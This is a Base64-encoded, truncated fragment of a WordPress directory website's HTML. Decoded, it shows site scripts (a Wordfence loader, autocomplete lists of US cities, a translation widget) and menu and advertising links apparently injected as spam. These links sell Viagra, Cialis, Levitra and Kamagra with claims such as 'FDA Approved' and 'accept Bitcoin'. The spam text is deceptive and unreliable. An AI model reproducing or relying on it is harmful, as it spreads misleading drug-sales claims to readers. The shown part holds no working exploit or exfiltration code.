zeW5jID0gdHJ1ZTsKCQl3ZnNjci5zcmMgPSB1cmwgKyAnJnI9JyArIE1hdGgucmFuZG9tKCk7CgkJKGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdoZWFkJylbMF18fGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdib2R5JylbMF0pLmFwcGVuZENoaWxkKHdmc2NyKTsKCQlmb3IgKHZhciBpID0gMDsgaSA8IGV2dHMubGVuZ3RoOyBpKyspIHsKCQkJcmVtb3ZlRXZlbnQoZXZ0c1tpXSwgbG9nSHVtYW4pOwoJCX0KCX07Cglmb3IgKHZhciBpID0gMDsgaSA8IGV2dHMubGVuZ3RoOyBpKyspIHsKCQlhZGRFdmVudChldnRzW2ldLCBsb2dIdW1hbik7Cgl9Cn0pKCcvL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz93b3JkZmVuY2VfbGg9MSZoaWQ9M0Q4NUU0Q0YwQjJFNEFFNTNGMjcwQjc4QTNGMDNCQzcnKTsKPC9zY3JpcHQ+PGxpbmsgcmVsPSJpY29uIiBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC91cGxvYWRzLzIwMTYvMTIvcGF3MS0xNTB4MTUwLnBuZyIgc2l6ZXM9IjMyeDMyIiAvPgo8bGluayByZWw9Imljb24iIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3VwbG9hZHMvMjAxNi8xMi9wYXcxLTMwMHgzMDAucG5nIiBzaXplcz0iMTkyeDE5MiIgLz4KPGxpbmsgcmVsPSJhcHBsZS10b3VjaC1pY29uLXByZWNvbXBvc2VkIiBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC91cGxvYWRzLzIwMTYvMTIvcGF3MS0zMDB4MzAwLnBuZyIgLz4KPG1ldGEgbmFtZT0ibXNhcHBsaWNhdGlvbi1UaWxlSW1hZ2UiIGNvbnRlbnQ9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3VwbG9hZHMvMjAxNi8xMi9wYXcxLTMwMHgzMDAucG5nIiAvPgoKCQk8c2NyaXB0PgoJCSAgJ2FydGljbGUgYXNpZGUgZm9vdGVyIGhlYWRlciBuYXYgc2VjdGlvbiB0aW1lJy5yZXBsYWNlKC9cdysvZyxmdW5jdGlvbihuKXsgZG9jdW1lbnQuY3JlYXRlRWxlbWVudChuKSB9KQoJCTwvc2NyaXB0PgoKCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CgkJalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigkKSB7CgoJCQl2YXIgY2F0ZWdvcmllcyA9IFsgeyB2YWx1ZTogIjExNCIgLCBsYWJlbDogIkJhcnMiIH0seyB2YWx1ZTogIjc1IiAsIGxhYmVsOiAiQ2x1YnMiIH0seyB2YWx1ZTogIjQyIiAsIGxhYmVsOiAiQ29udGVzdCIgfSx7IHZhbHVlOiAiMzEiICwgbGFiZWw6ICJFbnRlcnRhaW5tZW50IiB9LHsgdmFsdWU6ICIzNCIgLCBsYWJlbDogIkV2ZW50cyIgfSx7IHZhbHVlOiAiMzMiICwgbGFiZWw6ICJMb2RnaW5nIiB9LHsgdmFsdWU6ICIyOSIgLCBsYWJlbDogIk90aGVyIE93bmVyIE9wZXJhdGVkIiB9LHsgdmFsdWU6ICIzOSIgLCBsYWJlbDogIlJlc3RhdXJhbnRzIiB9IF07CgoJCQl2YXIgbG9jYXRpb25zID0gWyB7IHZhbHVlOiAiMTEzIiAsIGxhYmVsOiAiQ2FsaWZvcm5pYSIgfSx7IHZhbHVlOiAiNzgiICwgbGFiZWw6ICItJm5ic3A7TG9zIEFuZ2VsZXMiIH0seyB2YWx1ZTogIjEwOSIgLCBsYWJlbDogIkNvbG9yYWRvIiB9LHsgdmFsdWU6ICI5NyIgLCBsYWJlbDogIi0mbmJzcDtEZW52ZXIiIH0seyB2YWx1ZTogIjEwMyIgLCBsYWJlbDogIkNvbm5lY3RpY3V0IiB9LHsgdmFsdWU6ICIxMDQiICwgbGFiZWw6ICItJm5ic3A7SGFydGZvcmQiIH0seyB2YWx1ZTogIjEwNiIgLCBsYWJlbDogIklsbGlub2lzIiB9LHsgdmFsdWU6ICI3OSIgLCBsYWJlbDogIi0mbmJzcDtDaGljYWdvIiB9LHsgdmFsdWU6ICIxMDUiICwgbGFiZWw6ICJNYXNzYWNodXNldHRzIiB9LHsgdmFsdWU6ICIxMDAiICwgbGFiZWw6ICItJm5ic3A7Qm9zdG9uIiB9LHsgdmFsdWU6ICIxMTAiICwgbGFiZWw6ICJNaWNoaWdhbiIgfSx7IHZhbHVlOiAiOTQiICwgbGFiZWw6ICItJm5ic3A7RGV0cm9pdCIgfSx7IHZhbHVlOiAiMTEyIiAsIGxhYmVsOiAiTmV2YWRhIiB9LHsgdmFsdWU6ICIxMDIiICwgbGFiZWw6ICItJm5ic3A7TGFzIFZlZ2FzIiB9LHsgdmFsdWU6ICIxMDciICwgbGFiZWw6ICJOZXcgWW9yayIgfSx7IHZhbHVlOiAiNDYiICwgbGFiZWw6ICItJm5ic3A7TmV3IFlvcmsgQ2l0eSIgfSx7IHZhbHVlOiAiMTA4IiAsIGxhYmVsOiAiVGV4YXMiIH0seyB2YWx1ZTogIjg1IiAsIGxhYmVsOiAiLSZuYnNwO0RhbGxhcyIgfSx7IHZhbHVlOiAiMTExIiAsIGxhYmVsOiAiV2FzaGluZ3RvbiIgfSx7IHZhbHVlOiAiOTYiICwgbGFiZWw6ICItJm5ic3A7U2VhdHRsZSIgfSBdOwoKCQkJdmFyIGNhdElucHV0ID0gJCggIiNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnkiICksCgkJCQljYXRJbnB1dElEID0gJCggIiNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQiICksCgkJCQlsb2NJbnB1dCA9ICQoICIjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uIiApLAoJCQkJbG9jSW5wdXRJRCA9ICQoICIjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkIiApOwoKCQkJY2F0SW5wdXQuYXV0b2NvbXBsZXRlKHsKCQkJCW1pbkxlbmd0aDogMCwKCQkJCXNvdXJjZTogY2F0ZWdvcmllcywKCQkJCWZvY3VzOiBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCQkJCXZhciB2YWwgPSB1aS5pdGVtLmxhYmVsLnJlcGxhY2UoLyZhbXA7L2csICImIik7CgkJCQkJCXZhbCA9IHZhbC5yZXBsYWNlKC8mbmJzcDsvZywgIiAiKS5yZXBsYWNlKC8mIzAzOTsvZywgIiciKTsKCQkJCQljYXRJbnB1dC52YWwoIHZhbCApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0sCgkJCQlzZWxlY3Q6IGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJCQkJdmFyIHZhbCA9IHVpLml0ZW0ubGFiZWwucmVwbGFjZSgvJmFtcDsvZywgIiYiKTsKCQkJCQkJdmFsID0gdmFsLnJlcGxhY2UoLyZuYnNwOy9nLCAiICIpLnJlcGxhY2UoLyYjMDM5Oy9nLCAiJyIpOwoJCQkJCWNhdElucHV0LnZhbCggdmFsICk7CgkJCQkJY2F0SW5wdXRJRC52YWwoIHVpLml0ZW0udmFsdWUgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCX0pLmRhdGEoICJ1aS1hdXRvY29tcGxldGUiICkuX3JlbmRlckl0ZW0gPSBmdW5jdGlvbiggdWwsIGl0ZW0gKSB7CgkJCQlyZXR1cm4gJCggIjxsaT4iICkKCQkJCQkuZGF0YSggIml0ZW0uYXV0b2NvbXBsZXRlIiwgaXRlbSApCgkJCQkJLmFwcGVuZCggIjxhPiIgKyBpdGVtLmxhYmVsICsgIjwvYT4iICkKCQkJCQkuYXBwZW5kVG8oIHVsICk7CgkJCX07CgkJCXZhciBjYXRMaXN0ID0gY2F0SW5wdXQuYXV0b2NvbXBsZXRlKCAid2lkZ2V0IiApOwoJCQljYXRMaXN0Lm5pY2VTY3JvbGwoeyBhdXRvaGlkZW1vZGU6IGZhbHNlIH0pOwoKCQkJY2F0SW5wdXQuY2xpY2soZnVuY3Rpb24oKXsKCQkJCWNhdElucHV0LnZhbCgnJyk7CgkJCQljYXRJbnB1dElELnZhbCgnMCcpOwoJCQkJY2F0SW5wdXQuYXV0b2NvbXBsZXRlKCAic2VhcmNoIiwgIiIgKTsKCQkJfSk7CgoJCQlsb2NJbnB1dC5hdXRvY29tcGxldGUoewoJCQkJbWluTGVuZ3RoOiAwLAoJCQkJc291cmNlOiBsb2NhdGlvbnMsCgkJCQlmb2N1czogZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQkJCQl2YXIgdmFsID0gdWkuaXRlbS5sYWJlbC5yZXBsYWNlKC8mYW1wOy9nLCAiJiIpOwoJCQkJCQl2YWwgPSB2YWwucmVwbGFjZSgvJm5ic3A7L2csICIgIikucmVwbGFjZSgvJiMwMzk7L2csICInIik7CgkJCQkJbG9jSW5wdXQudmFsKCB2YWwgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9LAoJCQkJc2VsZWN0OiBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCQkJCXZhciB2YWwgPSB1aS5pdGVtLmxhYmVsLnJlcGxhY2UoLyZhbXA7L2csICImIik7CgkJCQkJCXZhbCA9IHZhbC5yZXBsYWNlKC8mbmJzcDsvZywgIiAiKS5yZXBsYWNlKC8mIzAzOTsvZywgIiciKTsKCQkJCQlsb2NJbnB1dC52YWwoIHZhbCApOwoJCQkJCWxvY0lucHV0SUQudmFsKCB1aS5pdGVtLnZhbHVlICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9KS5kYXRhKCAidWktYXV0b2NvbXBsZXRlIiApLl9yZW5kZXJJdGVtID0gZnVuY3Rpb24oIHVsLCBpdGVtICkgewoJCQkJcmV0dXJuICQoICI8bGk+IiApCgkJCQkJLmRhdGEoICJpdGVtLmF1dG9jb21wbGV0ZSIsIGl0ZW0gKQoJCQkJCS5hcHBlbmQoICI8YT4iICsgaXRlbS5sYWJlbCArICI8L2E+IiApCgkJCQkJLmFwcGVuZFRvKCB1bCApOwoJCQl9OwoJCQl2YXIgbG9jTGlzdCA9IGxvY0lucHV0LmF1dG9jb21wbGV0ZSggIndpZGdldCIgKTsKCQkJbG9jTGlzdC5uaWNlU2Nyb2xsKHsgYXV0b2hpZGVtb2RlOiBmYWxzZSB9KTsKCgkJCWxvY0lucHV0LmNsaWNrKGZ1bmN0aW9uKCl7CgkJCQlsb2NJbnB1dC52YWwoJycpOwoJCQkJbG9jSW5wdXRJRC52YWwoJzAnKTsKCQkJCWxvY0lucHV0LmF1dG9jb21wbGV0ZSggInNlYXJjaCIsICIiICk7CgkJCX0pOwoKCgoJCX0pOwoJCTwvc2NyaXB0PgoKCTwvaGVhZD4KCgk8Ym9keSBjbGFzcz0icGFnZS1pZC01MDMwNzkiPgoKCQk8ZGl2IGlkPSJwYWdlIiBjbGFzcz0iaGZlZWQgIG5hcnJvdyIgPgoKCgo8ZGl2IGlkPSJhZHZlcnRpc2luZy1ib3gtMSIgY2xhc3M9ImFkdmVydGlzaW5nLWJveCI+Cgk8ZGl2IGNsYXNzPSJkZWZhdWx0Q29udGVudFdpZHRoIGNsZWFyZml4Ij4KCQk8ZGl2PjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvc2VsZWN0ZWRPcHRzLmhyZWYvIj5DaWFsaXMgZm9yIG9uY2U8L2E+PC9kaXY+CgkgPC9kaXY+CjwvZGl2PgoKPGRpdiBjbGFzcz0idG9wYmFyIGNsZWFyZml4Ij4KPC9kaXY+Cgo8aGVhZGVyIGlkPSJicmFuZGluZyIgcm9sZT0iYmFubmVyIj4KCTxkaXYgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGggY2xlYXJmaXgiPgoJCTxkaXYgaWQ9ImxvZ28iIGNsYXNzPSJsZWZ0Ij4KCQkJCTxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8lNUMlMjJodHRwOiU1Qy8lNUMvZnVucnVubmVyc2JlYWNoZXMudXMlNUMvJTVDJTIyIj5TaG9wIExldml0cmEgU29mdCBpbiBOYXVydSBZYXJlbjwvYT4KCQk8L2Rpdj4KCgkJPG5hdiBpZD0iYWNjZXNzIiByb2xlPSJuYXZpZ2F0aW9uIj4KCgkJCQkKPG5hdiBjbGFzcz0ibWFpbm1lbnUiPjx1bCBpZD0ibWVudS1tYWluLW1lbnUiIGNsYXNzPSJtZW51Ij48bGkgaWQ9Im1lbnUtaXRlbS04MjExIiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLWhvbWUgY3VycmVudC1tZW51LWl0ZW0gcGFnZV9pdGVtIHBhZ2UtaXRlbS03IGN1cnJlbnRfcGFnZV9pdGVtIG1lbnUtaXRlbS04MjExIj48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL3NlbGVjdGVkT3B0cy5jb250ZW50LyI+UHVyY2hhc2UgRXh0cmEgU3VwZXIgVmlhZ3JhIGluIFFhdGFyIERvaGE8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODI0NCIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjQ0Ij48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvJTVDJTIyaHR0cDolNUMvJTVDL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzJTVDLz9wPTgyODQlNUMiPk9yZGVyIFZpYWdyYSBWaWdvdXIgaW4gV2FsZXMgQ2FyZGlmZjwvYT48L2xpPgo8bGkgaWQ9Im1lbnUtaXRlbS04MjM0IiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLTgyMzQiPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWxvY2F0aW9uPXRleGFzIj5TbmFwIHVwIEthbWFncmEgb25saW5lIGNoZWFwPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyMTIiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODIxMiI+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9haXQtZGlyLWl0ZW0tY2F0ZWdvcnk9cGV0LXNpdHRlcnMiPkNpYWxpcyBTb2Z0IGVmZmVjdHMgLSBGREEgQXBwcm92ZWQ8L2E+PC9saT4KPGxpIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLWd0cmFuc2xhdGUiPjxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyIgaWQ9Imd0cmFuc2xhdGVfd3JhcHBlciI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ci5zd2l0Y2hlciB7Zm9udC1mYW1pbHk6QXJpYWw7Zm9udC1zaXplOjEwcHQ7dGV4dC1hbGlnbjpsZWZ0O2N1cnNvcjpwb2ludGVyO292ZXJmbG93OmhpZGRlbjt3aWR0aDoxNjNweDtsaW5lLWhlaWdodDoxN3B4O30KLnN3aXRjaGVyIGEge3RleHQtZGVjb3JhdGlvbjpub25lO2Rpc3BsYXk6YmxvY2s7Zm9udC1zaXplOjEwcHQ7LXdlYmtpdC1ib3gtc2l6aW5nOmNvbnRlbnQtYm94Oy1tb3otYm94LXNpemluZzpjb250ZW50LWJveDtib3gtc2l6aW5nOmNvbnRlbnQtYm94O30KLnN3aXRjaGVyIGEgaW1nIHt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7ZGlzcGxheTppbmxpbmU7Ym9yZGVyOjA7cGFkZGluZzowO21hcmdpbjowO29wYWNpdHk6MC44O30KLnN3aXRjaGVyIGE6aG92ZXIgaW1nIHtvcGFjaXR5OjE7fQouc3dpdGNoZXIgLnNlbGVjdGVkIHtiYWNrZ3JvdW5kOiNGRkZGRkYgdXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9zd2l0Y2hlci5wbmcpIHJlcGVhdC14O3Bvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6OTk5OTt9Ci5zd2l0Y2hlciAuc2VsZWN0ZWQgYSB7Ym9yZGVyOjFweCBzb2xpZCAjQ0NDQ0NDO2JhY2tncm91bmQ6dXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9hcnJvd19kb3duLnBuZykgMTQ2cHggY2VudGVyIG5vLXJlcGVhdDtjb2xvcjojNjY2NjY2O3BhZGRpbmc6M3B4IDVweDt3aWR0aDoxNTFweDt9Ci5zd2l0Y2hlciAuc2VsZWN0ZWQgYS5vcGVuIHtiYWNrZ3JvdW5kLWltYWdlOnVybChodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvYXJyb3dfdXAucG5nKX0KLnN3aXRjaGVyIC5zZWxlY3RlZCBhOmhvdmVyIHtiYWNrZ3JvdW5kOiNGMEYwRjAgdXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9hcnJvd19kb3duLnBuZykgMTQ2cHggY2VudGVyIG5vLXJlcGVhdDt9Ci5zd2l0Y2hlciAub3B0aW9uIHtwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4Ojk5OTg7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICNDQ0NDQ0M7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjQ0NDQ0NDO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNDQ0NDQ0M7YmFja2dyb3VuZC1jb2xvcjojRUVFRUVFO2Rpc3BsYXk6bm9uZTt3aWR0aDoxNjFweDttYXgtaGVpZ2h0OjE5OHB4Oy13ZWJraXQtYm94LXNpemluZzpjb250ZW50LWJveDstbW96LWJveC1zaXppbmc6Y29udGVudC1ib3g7Ym94LXNpemluZzpjb250ZW50LWJveDtvdmVyZmxvdy15OmF1dG87b3ZlcmZsb3cteDpoaWRkZW47fQouc3dpdGNoZXIgLm9wdGlvbiBhIHtjb2xvcjojMDAwO3BhZGRpbmc6M3B4IDVweDt9Ci5zd2l0Y2hlciAub3B0aW9uIGE6aG92ZXIge2JhY2tncm91bmQ6I0ZGQzt9Ci5zd2l0Y2hlciAub3B0aW9uIGEuc2VsZWN0ZWQge2JhY2tncm91bmQ6I0ZGQzt9CiNzZWxlY3RlZF9sYW5nX25hbWUge2Zsb2F0OiBub25lO30KLmxfbmFtZSB7ZmxvYXQ6IG5vbmUgIWltcG9ydGFudDttYXJnaW46IDA7fQouc3dpdGNoZXIgLm9wdGlvbjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7LXdlYmtpdC1ib3gtc2hhZG93Omluc2V0IDAgMCAzcHggcmdiYSgwLDAsMCwwLjMpO2JvcmRlci1yYWRpdXM6NXB4O2JhY2tncm91bmQtY29sb3I6I0Y1RjVGNTt9Ci5zd2l0Y2hlciAub3B0aW9uOjotd2Via2l0LXNjcm9sbGJhciB7d2lkdGg6NXB4O30KLnN3aXRjaGVyIC5vcHRpb246Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHtib3JkZXItcmFkaXVzOjVweDstd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMCAzcHggcmdiYSgwLDAsMCwuMyk7YmFja2dyb3VuZC1jb2xvcjojODg4O30KPC9zdHlsZT4KPGRpdiBjbGFzcz0ic3dpdGNoZXIgbm90cmFuc2xhdGUiPgo8ZGl2IGNsYXNzPSJzZWxlY3RlZCI+CjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWxvY2F0aW9uPW1hc3NhY2h1c2V0dHMiPk9yZGVyIEthbWFncmEgaW4gU3VkYW4gS2hhcnRvdW08L2E+CjwvZGl2Pgo8ZGl2IGNsYXNzPSJvcHRpb24iPgo8YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1sb2NhdGlvbj1jb25uZWN0aWN1dCI+QnV5IExldml0cmEgRXh0cmEgRG9zYWdlIGluIExpdGh1YW5pYSBWaWxuaXVzPC9hPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/cGFnZV9pZD04MDY5Ij5CdXkgQnJhbmQgTGV2aXRyYSBjaGVhcDwvYT48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1sb2NhdGlvbj1taWNoaWdhbiI+VmlhZ3JhIEV4dHJhIERvc2FnZSBpbmZvcm1hdGlvbjwvYT48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1sb2NhdGlvbj1uZXZhZGEiPlNob3AgQ2lhbGlzIFN1cGVyIEFjdGl2ZSBpbiBOZXBhbCBLYXRobWFuZHU8L2E+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9haXQtZGlyLWl0ZW0tbG9jYXRpb249bmV3LXlvcmstMiI+T3JkZXIgU3VwZXIgTGV2aXRyYSBvbmxpbmUgY2hlYXA8L2E+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9wPTgyODQiPlB1cmNoYXNlIENpYWxpcyBKZWxseSAtIGFjY2VwdCBCaXRjb2luPC9hPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/cD04Mjg4Ij5WaWFncmEgaGFyZCBvbjwvYT48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1jYXRlZ29yeT1wZXQtYmxvZ3MiPlNob3AgU3VwZXIgQ2lhbGlzIGluIFNhaW50IFZpbmNlbnQgYW5kIHRoZSBHcmVuYWRpbmVzIEtpbmdzdG93bjwvYT48YSBocmVmPSIjIiBvbmNsaWNrPSJkb0dUcmFuc2xhdGUoJ2VufHJ1Jyk7alF1ZXJ5KCdkaXYuc3dpdGNoZXIgZGl2LnNlbGVjdGVkIGEnKS5odG1sKGpRdWVyeSh0aGlzKS5odG1sKCkpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJSdXNzaWFuIiBjbGFzcz0ibnR1cmwiPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvZmxhZ3MvMTYvcnUucG5nIiBoZWlnaHQ9IjE2IiB3aWR0aD0iMTYiIGFsdD0icnUiIC8+IFJ1c3NpYW48L2E+PGEgaHJlZj0iIyIgb25jbGljaz0iZG9HVHJhbnNsYXRlKCdlbnxlcycpO2pRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5zZWxlY3RlZCBhJykuaHRtbChqUXVlcnkodGhpcykuaHRtbCgpKTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iU3BhbmlzaCIgY2xhc3M9Im50dXJsIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2ZsYWdzLzE2L2VzLnBuZyIgaGVpZ2h0PSIxNiIgd2lkdGg9IjE2IiBhbHQ9ImVzIiAvPiBTcGFuaXNoPC9hPjwvZGl2Pgo8L2Rpdj4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpqUXVlcnkoJy5zd2l0Y2hlciAuc2VsZWN0ZWQnKS5jbGljayhmdW5jdGlvbigpIHtpZighKGpRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5pcygnOnZpc2libGUnKSkpIHtqUXVlcnkoJy5zd2l0Y2hlciAub3B0aW9uJykuc3RvcCh0cnVlLHRydWUpLmRlbGF5KDEwMCkuc2xpZGVEb3duKDUwMCk7alF1ZXJ5KCcuc3dpdGNoZXIgLnNlbGVjdGVkIGEnKS50b2dnbGVDbGFzcygnb3BlbicpfX0pOwpqUXVlcnkoJy5zd2l0Y2hlciAub3B0aW9uJykuYmluZCgnbW91c2V3aGVlbCcsIGZ1bmN0aW9uKGUpIHt2YXIgb3B0aW9ucyA9IGpRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKTtpZihvcHRpb25zLmlzKCc6dmlzaWJsZScpKW9wdGlvbnMuc2Nyb2xsVG9wKG9wdGlvbnMuc2Nyb2xsVG9wKCkgLSBlLm9yaWdpbmFsRXZlbnQud2hlZWxEZWx0YSk7cmV0dXJuIGZhbHNlO30pOwpqUXVlcnkoJ2JvZHknKS5ub3QoJy5zd2l0Y2hlcicpLmNsaWNrKGZ1bmN0aW9uKGUpIHtpZihqUXVlcnkoJy5zd2l0Y2hlciAub3B0aW9uJykuaXMoJzp2aXNpYmxlJykgJiYgZS50YXJnZXQgIT0galF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpLmdldCgwKSkge2pRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5zdG9wKHRydWUsdHJ1ZSkuZGVsYXkoMTAwKS5zbGlkZVVwKDUwMCk7alF1ZXJ5KCcuc3dpdGNoZXIgLnNlbGVjdGVkIGEnKS50b2dnbGVDbGFzcygnb3BlbicpfX0pOwo8L3NjcmlwdD4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KI2dvb2ctZ3QtdHQge2Rpc3BsYXk6bm9uZSAhaW1wb3J0YW50O30KLmdvb2ctdGUtYmFubmVyLWZyYW1lIHtkaXNwbGF5Om5vbmUgIWltcG9ydGFudDt9Ci5nb29nLXRlLW1lbnUtdmFsdWU6aG92ZXIge3RleHQtZGVjb3JhdGlvbjpub25lICFpbXBvcnRhbnQ7fQouZ29vZy10ZXh0LWhpZ2hsaWdodCB7YmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudCAhaW1wb3J0YW50O2JveC1zaGFkb3c6bm9uZSAhaW1wb3J0YW50O30KYm9keSB7dG9wOjAgIWltcG9ydGFudDt9CiNnb29nbGVfdHJhbnNsYXRlX2VsZW1lbnQyIHtkaXNwbGF5Om5vbmUhaW1wb3J0YW50O30KPC9zdHlsZT4KCjxkaXYgaWQ9Imdvb2dsZV90cmFuc2xhdGVfZWxlbWVudDIiPjwvZGl2Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIGdvb2dsZVRyYW5zbGF0ZUVsZW1lbnRJbml0MigpIHtuZXcgZ29vZ2xlLnRyYW5zbGF0ZS5UcmFuc2xhdGVFbGVtZW50KHtwYWdlTGFuZ3VhZ2U6ICdlbicsYXV0b0Rpc3BsYXk6IGZhbHNlfSwgJ2dvb2dsZV90cmFuc2xhdGVfZWxlbWVudDInKTt9Cjwvc2NyaXB0PjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Ii8vdHJhbnNsYXRlLmdvb2dsZS5jb20vdHJhbnNsYXRlX2EvZWxlbWVudC5qcz9jYj1nb29nbGVUcmFuc2xhdGVFbGVtZW50SW5pdDIiPjwvc2NyaXB0PgoKCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gR1RyYW5zbGF0ZUdldEN1cnJlbnRMYW5nKCkge3ZhciBrZXlWYWx1ZSA9IGRvY3VtZW50Wydjb29raWUnXS5tYXRjaCgnKF58OykgP2dvb2d0cmFucz0oW147XSopKDt8JCknKTtyZXR1cm4ga2V5VmFsdWUgPyBrZXlWYWx1ZVsyXS5zcGxpdCgnLycpWzJdIDogbnVsbDt9CmZ1bmN0aW9uIEdUcmFuc2xhdGVGaXJlRXZlbnQoZWxlbWVudCxldmVudCl7dHJ5e2lmKGRvY3VtZW50LmNyZWF0ZUV2ZW50T2JqZWN0KXt2YXIgZXZ0PWRvY3VtZW50LmNyZWF0ZUV2ZW50T2JqZWN0KCk7ZWxlbWVudC5maXJlRXZlbnQoJ29uJytldmVudCxldnQpfWVsc2V7dmFyIGV2dD1kb2N1bWVudC5jcmVhdGVFdmVudCgnSFRNTEV2ZW50cycpO2V2dC5